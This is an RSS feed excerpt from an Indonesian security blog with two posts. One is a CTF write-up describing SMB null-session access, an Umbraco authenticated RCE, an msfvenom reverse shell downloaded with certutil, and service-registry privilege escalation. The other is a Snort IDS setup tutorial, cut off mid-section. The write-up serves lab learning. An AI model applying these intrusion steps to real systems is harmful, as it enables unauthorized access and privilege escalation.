<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>technology Arsip - Bhineka blog</title>
	<atom:link href="https://blog.bhineka-tech.org/category/technology/feed/" rel="self" type="application/rss+xml" />
	<link>https://blog.bhineka-tech.org/category/technology/</link>
	<description></description>
	<lastBuildDate>Mon, 03 Feb 2025 06:07:13 +0000</lastBuildDate>
	<language>id</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.7.1</generator>

<image>
	<url>https://blog.bhineka-tech.org/wp-content/uploads/2024/10/logo-bintek-min.jpg</url>
	<title>technology Arsip - Bhineka blog</title>
	<link>https://blog.bhineka-tech.org/category/technology/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Windows Pentesting Bhitech &#8211; Write Up</title>
		<link>https://blog.bhineka-tech.org/2025/02/03/windows-pentesting-bhitech-write-up/</link>
					<comments>https://blog.bhineka-tech.org/2025/02/03/windows-pentesting-bhitech-write-up/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Mon, 03 Feb 2025 06:02:09 +0000</pubDate>
				<category><![CDATA[Capture The Flag]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[pentesting]]></category>
		<category><![CDATA[technology]]></category>
		<category><![CDATA[Windows]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=514</guid>

					<description><![CDATA[<p>Kemaren lalu aku share challenge pentesting yang menggunakan machine windows, dengan deskripsi sebagai berikut Dimana sama dengan chall pentesting lainnya yang mengharuskan untuk membaca flag yang disimpan pada server yakni terletak pada user dan administrator directory, dan disini kita diberikan suatu IP address server jadi langsung lakukan reconnaissance untuk phase awal Terdapat beberapa service yang [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2025/02/03/windows-pentesting-bhitech-write-up/">Windows Pentesting Bhitech &#8211; Write Up</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Kemaren lalu aku share challenge pentesting yang menggunakan machine windows, dengan deskripsi sebagai berikut</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-f5f35207d78f2f9052282fb89e493989"><code>Pentest Day Bhitech Challenge

Host: 143.198.222.180
Machine: Windows
Level: Easy
Flag Format: bhitech{}

Deskripsi: Selamat datang di Pentest Day! Tantangan simpel, tapi seru. Tugasmu adalah mendapatkan dua flag yang tersembunyi di direktori user dan administrator. Gunakan segala cara dan skill yang kamu punya—dari eksploitasi sampai trik-trik cerdik lainnya!

Ingat, tujuan utamanya adalah eksplorasi dan belajar. Jangan merusak system yang ada! Semua yang kamu lakukan harus untuk tujuan edukasi.

Catatan: Jangan lupa fokus untuk eksploitasi dan seru-seruan—gak ada yang lebih keren dari belajar sambil nge-hack!

Good luck, happy hacking, and let’s grab those flags!</code></pre>



<p>Dimana sama dengan chall pentesting lainnya yang mengharuskan untuk membaca flag yang disimpan pada server yakni terletak pada user dan administrator directory, dan disini kita diberikan suatu IP address server jadi langsung lakukan reconnaissance untuk phase awal</p>



<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="1024" height="660" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-110422-1024x660.png" alt="" class="wp-image-516" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-110422-1024x660.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-110422-300x193.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-110422-768x495.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-110422.png 1212w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Terdapat beberapa service yang open diantarannya ada HTTP dan SMB yang bisa kita jadikan untuk foothold atau pijakan awal sebelum melakukan exploitation, dan jika dibuka pada service HTTP terlihat terdapat default halaman setelah installation <em><strong>Umbraco CMS</strong></em> dan juga terdapat form login untuk authentikasi</p>



<figure class="wp-block-image size-large is-style-default"><img decoding="async" width="1024" height="549" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-111632-1024x549.png" alt="" class="wp-image-522" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-111632-1024x549.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-111632-300x161.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-111632-768x411.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-111632-1536x823.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-111632.png 1557w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini kita tidak mempunyai valid credential untuk login, selanjutnya kita coba cek service berikutnya yaitu SMB server</p>



<figure class="wp-block-image size-full"><img decoding="async" width="837" height="251" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-112238.png" alt="" class="wp-image-524" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-112238.png 837w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-112238-300x90.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-112238-768x230.png 768w" sizes="(max-width: 837px) 100vw, 837px" /></figure>



<p>Ternyata terdapat vulnerability <em><strong>SMB null session</strong></em> artinya SMB tersebut mengizinkan authentikasi tanpa credential jadi kita bisa akses sharename tanpa memasukkan username/password, dan jika diperhatikan ada sharename yang tidak biasa yaitu <em><strong>DataManager</strong></em></p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1021" height="288" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-112649.png" alt="" class="wp-image-525" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-112649.png 1021w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-112649-300x85.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-112649-768x217.png 768w" sizes="auto, (max-width: 1021px) 100vw, 1021px" /></figure>



<p>Setelah diakses ditemukannya file XLS dengan nama <em><strong>member_account.xlsx</strong></em>, kemudian kita akan buka pada document viewer</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="689" height="216" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-113131.png" alt="" class="wp-image-526" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-113131.png 689w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-113131-300x94.png 300w" sizes="auto, (max-width: 689px) 100vw, 689px" /></figure>



<p>Dokumen XLS tersebut berisikan informasi sensitive dari member Bhineka Tech yang juga menampilkan user, passsword beserta keahlian yang dimiliki beberapa member tetapi uniknya user dengan ID 3 berbeda dari yang lain yakni user tersebut menggunakan email dan jika kita lihat lagi pada login Umbraco diatas terdapat placeholder pada input username yaitu <em><strong>&#8220;Your username is usually your email&#8221;</strong></em> yang mengindikasikan jika username berupa email address, langsung saja kita coba login</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="526" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-114259-1024x526.png" alt="" class="wp-image-527" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-114259-1024x526.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-114259-300x154.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-114259-768x394.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-114259-1536x788.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-114259.png 1855w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Berhasil masuk dashboard Administrator, dan langkah selanjutnya kita cek version dari CMS umbraco yang digunakan</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="687" height="459" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image.png" alt="" class="wp-image-528" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image.png 687w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-300x200.png 300w" sizes="auto, (max-width: 687px) 100vw, 687px" /></figure>



<p>Versi yang digunakan yaitu <em><strong>7.12.4</strong></em> dan jika kita melihat pada exploit database menggunakan searchsploit</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="141" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-1-1024x141.png" alt="" class="wp-image-529" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-1-1024x141.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-1-300x41.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-1-768x106.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-1-1536x211.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-1.png 1868w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Ada vulnerability pada Umbraco versi <em><strong>7.12.4</strong></em> yaitu Remote Code Execution / RCE dengan kategori Authenticated yang berarti harus mempunyai privilege minimal untuk masuk dashboard, karena sudah didapatkan sebelumnya sekarang kita mulai untuk tahapan exploitation</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="476" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-115247-1024x476.png" alt="" class="wp-image-530" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-115247-1024x476.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-115247-300x139.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-115247-768x357.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-115247.png 1114w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Terlihat berhasil melakukan code execution artinya exploit berhasil dan jika di inputkan beberapa command batch script dasar akan menampilkan output yang sesuai. </p>



<p>Karena tidak mungkin untuk melakukan command satu persatu dan bolak balik exploit jadi disini kita akan generate binary executable untuk reverse shell menggunakan msfvenom</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="149" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-2-1024x149.png" alt="" class="wp-image-532" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-2-1024x149.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-2-300x44.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-2-768x112.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-2.png 1133w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Karena casenya disini public server jadi kita melakukan generate binary reverse shell dengan listener yang di set ke IP VPS atau jika tidak mempunyai VPS bisa juga melakukan tunneling atau port forwarding menggunakan ngrok dan semacamnya</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="236" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-3-1024x236.png" alt="" class="wp-image-535" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-3-1024x236.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-3-300x69.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-3-768x177.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-3-1536x353.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-3.png 1873w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>sebelumnya aku sudah aktifkan python http server di port 8000 pada VPS  jadi disini kita tinggal download binary di server target menggunakan <em><strong>certutil </strong></em>yang akan disimpan didalam temporary directory dalam case windows ada di <em><strong>C:/windows/temp</strong></em>, kemudian kita execute binary jadi tinggal dipanggil full pathnya otomatis akan ter-eksekusi</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="758" height="287" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-121423.png" alt="" class="wp-image-536" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-121423.png 758w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-121423-300x114.png 300w" sizes="auto, (max-width: 758px) 100vw, 758px" /></figure>



<p>Reverse shell berhasil dengan listener di port 9999, selanjutnya kita baca user flag pada directory users dan dalam hal ini ternyata user yang ada diserver menggunakan username rama</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="723" height="354" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-5.png" alt="Gambar ini memiliki atribut alt yang kosong; nama berkasnya adalah image-4.png" class="wp-image-539" style="width:798px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-5.png 723w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-5-300x147.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-5-720x354.png 720w" sizes="auto, (max-width: 723px) 100vw, 723px" /></figure>



<p>User flag : <strong><em>&#8220;bhitech{KuL0_T14nG_J4W1}&#8221;</em></strong></p>



<p class="has-large-font-size"><em><strong>Privilege Escalation</strong></em></p>



<p>Selanjutnya kita diminta untuk membaca flag pada Administrator directory yang tentu saja akan access denied karena privilege user yang kita dapatkan merupakan Service Account yang tidak memiliki akses pada directory Administrator, jadi disini kita akan melakukan privilege escalation atau meningkatkan hak akses.</p>



<p>Sebenarnya ada banyak cara yang digunakan untuk enumeration pada tahapan post-exploitation pada windows sendiri, tapi disini kita akan automation saja menggunakan winpeas</p>



<p><a href="https://github.com/peass-ng/PEASS-ng/blob/master/winPEAS/winPEASexe/README.md">https://github.com/peass-ng/PEASS-ng/blob/master/winPEAS/winPEASexe/README.md</a></p>



<p>Jadi winpeas sendiri berfungsi untuk identifikasi service, component, kernel, scheduled task, registry dan lain lain jika terdapat suatu vulnerability ataupun misconfiguration yang bisa dimanfaatkan untuk melakukan Privilege Escalation</p>



<p>Download winpeas entah dengan menggunakan utility apapun bisa cURL ataupun certutil lalu jalankan</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="181" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-7-1024x181.png" alt="" class="wp-image-541" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-7-1024x181.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-7-300x53.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-7-768x136.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-7-1536x272.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-7.png 1690w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini ditemukan suatu service dengan nama BhitechService yang dimana Authenticated Users atau user dalam machine tersebut dapat melakukan full control pada registry yang dimana ini sangat berbahaya karena attacker bisa mengganti binary executable pada registry service tersebut dengan malicious atau executable berbahaya</p>



<p>Seknarionya disini kita akan melakukan generate ulang binary reverse shell menggunakan msfvenom dengan listener port 9000, lalu kita ubah <em><strong>ImagePath</strong></em> dari registry BhitechService dengan binary reverse shell yang kita buat jadi saat service di restart otomatis akan dieksekusi sebagai NT/System</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="460" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-8-1024x460.png" alt="" class="wp-image-542" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-8-1024x460.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-8-300x135.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-8-768x345.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-8-1536x690.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-8.png 1602w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Oke jadi disini menggunakan <em><strong>reg add</strong></em> yaitu command registry bawaan windows untuk replace binary ImagePath registry ke binary reverse shell yang kita buat, disini berhasil karena dari hasil enumeration dari winpeas Authenticated Users mempunyai full control pada registry BhitechService</p>



<p>Sekarang kita coba restart service menggunakan command <strong><em>net start BhitechService</em></strong> dan jangan lupa aktifkan netcat pada port 9000 yang kita buat tadi untuk dijadikan sebagai listener</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="611" height="183" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-124841.png" alt="" class="wp-image-543" style="width:815px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-124841.png 611w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-124841-300x90.png 300w" sizes="auto, (max-width: 611px) 100vw, 611px" /></figure>



<p>Untuk message dari output net start bisa dihiraukan yang terpenting kita berhasil mendapatkan shell sebagai <em><strong>NT/System</strong></em> atau privilege tertinggi pada windows machine</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="879" height="192" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-9.png" alt="" class="wp-image-544" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-9.png 879w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-9-300x66.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-9-768x168.png 768w" sizes="auto, (max-width: 879px) 100vw, 879px" /></figure>



<p>Sekarang kita baca flagnya pada directory Administrator</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="966" height="684" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-125034.png" alt="" class="wp-image-545" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-125034.png 966w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-125034-300x212.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-125034-768x544.png 768w" sizes="auto, (max-width: 966px) 100vw, 966px" /></figure>



<p>Root flag : <em><strong>bhitech{G0tt_Acc3ss_adm1n_m4TuR_NuWun_s4ng3t}</strong></em></p>



<p>Challenge solved rek, dan untuk tambahan sebenarnya masih ada teknik privilege escalation lain yang bisa digunakan karena casenya disini kita mendapatkan akses ke service account dan mempunyai 2 privilege penting yaitu <em><strong>SeAssignPrimaryTokenPrivilege</strong></em> dan <em><strong>SeImpersonatePrivilege</strong></em> yang bisa dimanfaatkan untuk melakukan <em><strong>token impersonation</strong></em> dan mendapatkan akses ke NT/System karena terlalu panjang mungkin akan dibahas lain kali jadi itu saja semoga bermanfaat.</p>



<p></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2025/02/03/windows-pentesting-bhitech-write-up/">Windows Pentesting Bhitech &#8211; Write Up</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2025/02/03/windows-pentesting-bhitech-write-up/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Implementasi Snort Pada Real Publik Server</title>
		<link>https://blog.bhineka-tech.org/2024/12/26/implementasi-snort-pada-real-publik-server/</link>
					<comments>https://blog.bhineka-tech.org/2024/12/26/implementasi-snort-pada-real-publik-server/#respond</comments>
		
		<dc:creator><![CDATA[cicak]]></dc:creator>
		<pubDate>Thu, 26 Dec 2024 23:45:14 +0000</pubDate>
				<category><![CDATA[blue team]]></category>
		<category><![CDATA[cloud]]></category>
		<category><![CDATA[intrusion detection system]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[operating system]]></category>
		<category><![CDATA[technology]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=447</guid>

					<description><![CDATA[<p>hai semua apa kabarnya 😀 selamat natal dan tahun baru ya bagi yang merayakan :3 pada blog kali ini aku akan membahas snort. Snort adalah sistem deteksi intrusi jaringan Open Source yang diciptakan oleh pendiri Sourcefire dan mantan CTO Martin Roesch. Cisco kini mengembangkan dan mengelola Snort. Sumber: https://en.wikipedia.org/wiki/Snort_(software) Apa itu Snort? Snort disebut sebagai packet [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/12/26/implementasi-snort-pada-real-publik-server/">Implementasi Snort Pada Real Publik Server</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>hai semua apa kabarnya <img src="https://s.w.org/images/core/emoji/15.0.3/72x72/1f600.png" alt="😀" class="wp-smiley" style="height: 1em; max-height: 1em;" /> selamat natal dan tahun baru ya bagi yang merayakan :3</p>



<p>pada blog kali ini aku akan membahas snort. Snort adalah sistem deteksi intrusi jaringan Open Source yang diciptakan oleh pendiri Sourcefire dan mantan CTO Martin Roesch. Cisco kini mengembangkan dan mengelola Snort. Sumber: <em><a href="https://en.wikipedia.org/wiki/Snort_(software)">https://en.wikipedia.org/wiki/Snort_(software)</a></em></p>



<p class="has-large-font-size"><strong>Apa itu Snort?</strong></p>



<p>Snort disebut sebagai packet sniffer yang memantau lalu lintas jaringan, memeriksa setiap paket secara saksama untuk mendeteksi muatan berbahaya atau anomali yang mencurigakan. Sudah lama menjadi yang terdepan di antara alat pencegah dan deteksi intrusi perusahaan, pengguna dapat mengompilasi Snort di sebagian besar sistem operasi (OS) Linux atau Unix. Versi Snort juga tersedia untuk Windows. tapi pada blog ini aku akan membahas snort pada linux saja. </p>



<p class="has-large-font-size"><strong>Bagaiamana cara kerja snort?</strong> </p>



<p>Snort didasarkan pada library packet capture (libpcap). Libpcap adalah alat yang banyak digunakan dalam tcp/IP address traffic sniffer, content search and analyzer untuk pencatatan paket, analisis lalu lintas waktu nyata, analisis protokol, dan pencocokan konten.</p>



<p>Pengguna dapat mengonfigurasi Snort sebagai sniffer, pencatat paket &#8212; seperti TCPdump atau Wireshark&#8211; atau metode pencegahan intrusi jaringan.</p>



<p>ok baik itu saja teori nya, langsung saja praktek. silahkan sediakan komputer, server virtual (bisa public atau lokal) dan internet yang cepat.</p>



<p class="has-large-font-size"><strong>Install SNORT dan konfigurasi</strong></p>



<p>pertama-tama install snort.</p>



<p class="has-very-light-gray-to-cyan-bluish-gray-gradient-background has-background"><strong><code>apt install snort</code> -y</strong></p>



<p>maka akan terinstall snort versi 2.9.x.x. kemudian setelah itu buka file bernama <strong>/etc/snort/snort.debian.conf</strong> kemudian isi variabel DEBIAN_SNORT_OPTIONS dengan value -A full. Maka jadinya seperti ini:</p>



<div class="wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-1 wp-block-group-is-layout-flex">
<p style="font-style:normal;font-weight:700;text-transform:none">DEBIAN_SNORT_STARTUP=&#8221;boot&#8221;</p>



<p style="font-style:normal;font-weight:700;text-transform:none">DEBIAN_SNORT_HOME_NET=&#8221;eth0&#8243;</p>



<p style="font-style:normal;font-weight:700;text-transform:none">#DEBIAN_SNORT_OPTIONS=&#8221;&#8221;</p>



<p style="font-style:normal;font-weight:700;text-transform:none">DEBIAN_SNORT_OPTIONS=&#8221;-A full&#8221;</p>



<p style="font-style:normal;font-weight:700;text-transform:none">DEBIAN_SNORT_INTERFACE=&#8221;eth0 eth1 docker0&#8243;</p>



<p style="font-style:normal;font-weight:700;text-transform:none">DEBIAN_SNORT_SEND_STATS=&#8221;true&#8221;</p>



<p style="font-style:normal;font-weight:700;text-transform:none">DEBIAN_SNORT_STATS_RCPT=&#8221;root&#8221;</p>



<p style="font-style:normal;font-weight:700;text-transform:none">DEBIAN_SNORT_STATS_THRESHOLD=&#8221;1&#8243;</p>
</div>



<p>untuk menjalankan snort bisa dua mode, yaitu mode console dan mode background running.</p>



<p>untuk background running bisa menggunakan perintah berikut:</p>



<p class="has-very-light-gray-to-cyan-bluish-gray-gradient-background has-background"><strong><code>snort -c /etc/snort/snort.conf -l /var/log/snort/ -K ascii -D</code></strong></p>



<p>untuk running sebagai console</p>



<p class="has-very-light-gray-to-cyan-bluish-gray-gradient-background has-background"><strong><code>snort -A console -c /etc/snort/snort.conf -i eth0 -v</code></strong></p>



<p>Keterangan perintah</p>



<figure class="wp-block-table is-style-stripes"><table class="has-very-light-gray-to-cyan-bluish-gray-gradient-background has-background has-fixed-layout"><thead><tr><th>Flag</th><th>Keterangan</th></tr></thead><tbody><tr><td></td><td></td></tr><tr><td><strong>Snort</strong></td><td>Perintah untuk menjalankan service snort</td></tr><tr><td><strong>-c /etc/snort/snort.conf</strong></td><td>Gunakan rules pada file konfigurasi /etc/snort/snort.conf</td></tr><tr><td><strong>-l /var/log/snort</strong></td><td>Simpan log pada /var/log/snort</td></tr><tr><td><strong>-K ascii</strong></td><td>Simpan log dalam bentuk ascii</td></tr><tr><td><strong>-D</strong></td><td>Jalan snort di latar belakang</td></tr><tr><td><strong>-A console</strong></td><td>Menentukan mode output alert Snort, dengan <strong>console</strong> sebagai pilihan untuk menampilkan alert langsung di layar terminal.</td></tr><tr><td><strong>-i eth0</strong></td><td>Memilih antarmuka jaringan (<strong>eth0</strong>) untuk dipantau oleh Snort. Pastikan antarmuka ini aktif dan memiliki lalu lintas yang relevan.</td></tr><tr><td><strong>-v</strong></td><td>Menampilkan paket-paket yang diterima secara langsung di terminal. Informasi yang ditampilkan meliputi header paket, alamat IP sumber dan tujuan, serta protokol.</td></tr></tbody></table></figure>



<p>pada blog ini aku jalan snort mode background.</p>



<p class="has-large-font-size"><strong>Dasar Menulis Rules</strong></p>



<p>Snort mendeteksi berdasarkan rule atau aturan yang di buat. Didalam snort sudah banyak rule yang bisa digunakan (file rule ada pada /etc/snort/rule) tetapi kali ini aku membuat rule atau aturan sendiri. Pertama-tama format rule, format rul seperti ini:</p>



<pre class="wp-block-preformatted has-very-light-gray-to-cyan-bluish-gray-gradient-background has-background"><strong><code>action protocol address port direction address port (rule option)</code></strong></pre>



<p>Format <strong>rule Snort</strong> terdiri dari beberapa bagian, yaitu <strong>action</strong>, <strong>protocol</strong>, <strong>address</strong>, <strong>port</strong>, <strong>direction</strong>, <strong>address</strong>, <strong>port</strong>, dan <strong>rule options</strong>. Berikut penjelasan rinci untuk masing-masing bagian:</p>



<h3 class="wp-block-heading">1. <strong>Action</strong></h3>



<p>Menentukan tindakan yang dilakukan Snort ketika mendeteksi kecocokan dengan aturan. Contoh tindakan:</p>



<ul class="wp-block-list">
<li><code>alert</code>: Menghasilkan alert atau notifikasi.</li>



<li><code>log</code>: Merekam paket ke dalam file log.</li>



<li><code>pass</code>: Mengabaikan paket.</li>



<li><code>drop</code>: Menjatuhkan paket (hanya pada mode inline).</li>



<li><code>reject</code>: Menolak koneksi dan memberi tahu pengirim.</li>



<li><code>sdrop</code>: Menjatuhkan paket tanpa mencatatnya</li>
</ul>



<h3 class="wp-block-heading">2. <strong>Protocol</strong></h3>



<p>Menentukan protokol jaringan yang diperiksa. Contoh protokol:</p>



<ul class="wp-block-list">
<li><code>tcp</code>: Untuk lalu lintas TCP.</li>



<li><code>udp</code>: Untuk lalu lintas UDP.</li>



<li><code>icmp</code>: Untuk pesan ICMP.</li>



<li><code>ip</code>: Untuk semua lalu lintas IP.</li>
</ul>



<h3 class="wp-block-heading">3. <strong>Address (Sumber dan Tujuan)</strong></h3>



<p>Menentukan alamat sumber dan tujuan paket. Format:</p>



<ul class="wp-block-list">
<li>Alamat IP spesifik: <code>192.168.1.1</code></li>



<li>Subnet: <code>192.168.1.0/24</code></li>



<li>Semua alamat: <code>any</code></li>



<li>Negasi: <code>!192.168.1.0/24</code> (alamat yang tidak termasuk subnet ini).</li>
</ul>



<h3 class="wp-block-heading">4. <strong>Port (Sumber dan Tujuan)</strong></h3>



<p>Menentukan port sumber atau tujuan. Format:</p>



<ul class="wp-block-list">
<li>Port spesifik: <code>80</code></li>



<li>Rentang port: <code>8000:9000</code></li>



<li>Semua port: <code>any</code></li>



<li>Negasi: <code>!80</code></li>
</ul>



<h3 class="wp-block-heading">5. <strong>Direction</strong></h3>



<p>Menentukan arah lalu lintas yang diperiksa:</p>



<ul class="wp-block-list">
<li><code>-></code>: Dari alamat sumber ke tujuan.</li>



<li><code>&lt;-</code>: Dari alamat tujuan ke sumber.</li>



<li><code>&lt;></code>: Dua arah (bidirectional).</li>
</ul>



